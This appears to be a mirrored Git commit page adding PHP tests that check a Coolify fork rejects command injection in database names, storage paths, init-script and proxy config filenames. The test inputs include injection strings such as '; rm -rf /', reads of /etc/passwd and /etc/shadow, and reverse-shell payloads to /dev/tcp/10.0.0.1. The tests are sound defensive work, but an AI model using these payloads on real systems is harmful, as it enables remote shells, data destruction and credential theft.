mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-13 22:15:35 +00:00
fix: enhance security by validating and escaping database names, file paths, and proxy configuration filenames to prevent command injection
This commit is contained in:
1 parent
e60e74ac90
commit
0073d045fb
11 files changed
+439
-32
No files matched your search
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Database Backup Security Tests
|
||||
*
|
||||
* Tests to ensure database backup functionality is protected against
|
||||
* command injection attacks via malicious database names.
|
||||
*
|
||||
* Related Issues: #2 in security_issues.md
|
||||
* Related Files: app/Jobs/DatabaseBackupJob.php, app/Livewire/Project/Database/BackupEdit.php
|
||||
*/
|
||||
test('database backup rejects command injection in database name with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with semicolon separator', function () {
|
||||
expect(fn () => validateShellSafePath('test; rm -rf /', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with pipe operator', function () {
|
||||
expect(fn () => validateShellSafePath('test | cat /etc/passwd', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('test`whoami`', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('test & whoami', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/pwned', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/passwd', 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup rejects command injection with newlines', function () {
|
||||
expect(fn () => validateShellSafePath("test\nrm -rf /", 'database name'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments properly', function () {
|
||||
$database = "test'db";
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test'\\''db'");
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments with double quotes', function () {
|
||||
$database = 'test"db';
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test\"db'");
|
||||
});
|
||||
|
||||
test('database backup escapes shell arguments with spaces', function () {
|
||||
$database = 'test database';
|
||||
$escaped = escapeshellarg($database);
|
||||
|
||||
expect($escaped)->toBe("'test database'");
|
||||
});
|
||||
|
||||
test('database backup accepts legitimate database names', function () {
|
||||
expect(fn () => validateShellSafePath('postgres', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('my_database', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('db-prod', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test123', 'database name'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
@@ -0,0 +1,93 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* File Storage Security Tests
|
||||
*
|
||||
* Tests to ensure file storage directory mount functionality is protected against
|
||||
* command injection attacks via malicious storage paths.
|
||||
*
|
||||
* Related Issues: #6 in security_issues.md
|
||||
* Related Files:
|
||||
* - app/Models/LocalFileVolume.php
|
||||
* - app/Livewire/Project/Service/Storage.php
|
||||
*/
|
||||
test('file storage rejects command injection in path with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp$(whoami)', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('/data && whoami', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage escapes paths properly', function () {
|
||||
$path = "/var/www/app's data";
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/app'\\''s data'");
|
||||
});
|
||||
|
||||
test('file storage escapes paths with spaces', function () {
|
||||
$path = '/var/www/my app/data';
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/my app/data'");
|
||||
});
|
||||
|
||||
test('file storage escapes paths with special characters', function () {
|
||||
$path = '/var/www/app (production)/data';
|
||||
$escaped = escapeshellarg($path);
|
||||
|
||||
expect($escaped)->toBe("'/var/www/app (production)/data'");
|
||||
});
|
||||
|
||||
test('file storage accepts legitimate absolute paths', function () {
|
||||
expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/data/storage', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('file storage accepts paths with underscores and hyphens', function () {
|
||||
expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* PostgreSQL Init Script Security Tests
|
||||
*
|
||||
* Tests to ensure PostgreSQL init script management is protected against
|
||||
* command injection attacks via malicious filenames.
|
||||
*
|
||||
* Related Issues: #3, #4 in security_issues.md
|
||||
* Related Files: app/Livewire/Project/Database/Postgresql/General.php
|
||||
*/
|
||||
test('postgresql init script rejects command injection in filename with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('test; rm -rf /', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('test | whoami', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('test`id`', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('test && whoami', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/passwd', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1)', 'init script filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('postgresql init script escapes filenames properly', function () {
|
||||
$filename = "init'script.sql";
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
||||
expect($escaped)->toBe("'init'\\''script.sql'");
|
||||
});
|
||||
|
||||
test('postgresql init script escapes special characters', function () {
|
||||
$filename = 'init script with spaces.sql';
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
||||
expect($escaped)->toBe("'init script with spaces.sql'");
|
||||
});
|
||||
|
||||
test('postgresql init script accepts legitimate filenames', function () {
|
||||
expect(fn () => validateShellSafePath('init.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('01_schema.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('init-script.sh', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Proxy Configuration Security Tests
|
||||
*
|
||||
* Tests to ensure dynamic proxy configuration management is protected against
|
||||
* command injection attacks via malicious filenames.
|
||||
*
|
||||
* Related Issues: #5 in security_issues.md
|
||||
* Related Files:
|
||||
* - app/Livewire/Server/Proxy/NewDynamicConfiguration.php
|
||||
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
|
||||
*/
|
||||
test('proxy configuration rejects command injection in filename with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration escapes filenames properly', function () {
|
||||
$filename = "config'test.yaml";
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
||||
expect($escaped)->toBe("'config'\\''test.yaml'");
|
||||
});
|
||||
|
||||
test('proxy configuration escapes filenames with spaces', function () {
|
||||
$filename = 'my config.yaml';
|
||||
$escaped = escapeshellarg($filename);
|
||||
|
||||
expect($escaped)->toBe("'my config.yaml'");
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Traefik filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Caddy filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
Reference in new issue
Block a user